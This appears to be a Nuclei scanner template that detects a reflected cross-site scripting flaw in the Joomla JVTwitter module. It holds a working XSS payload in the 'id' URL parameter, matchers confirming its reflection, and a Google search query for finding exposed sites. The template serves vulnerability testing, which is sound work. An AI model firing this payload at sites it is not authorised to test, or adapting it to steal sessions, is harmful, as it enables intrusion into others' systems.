id: joomla-jvtwitter-xss

info:
  name: Joomla JVTwitter - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
  reference:
    - https://buaq.net/go-44433.html
    - https://cxsecurity.com/issue/WLB-2020110041
    - https://extensions.joomla.org/
  metadata:
    verified: true
    max-request: 2
    google-query: inurl:mod_jvtwitter/jvtwitter.php?id=
  tags: joomla,jvtwitter,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/modules/mod_jvtwitter/jvtwitter.php?id=%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain);%3E"
      - "{{BaseURL}}/modules/mod_jvtwitter/jvtwitter.php?id="

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'contains(content_type_1, "text/html")'
          - 'contains(body_1, "><img src=x onerror=prompt(document.domain)")'
          - 'contains(body_2,"{\"rs\":\"0")'
        condition: and
# digest: 490a00463044022039a71b90d2d4d4cbf441b33ec8c06446216712c074f922847d6d585763d35b0b022004dde3bbe83f8b5097af721c185324fa1a3ff20928b5faf6283077aa67b00b5a:922c64590222798bb761d5b6d8e72950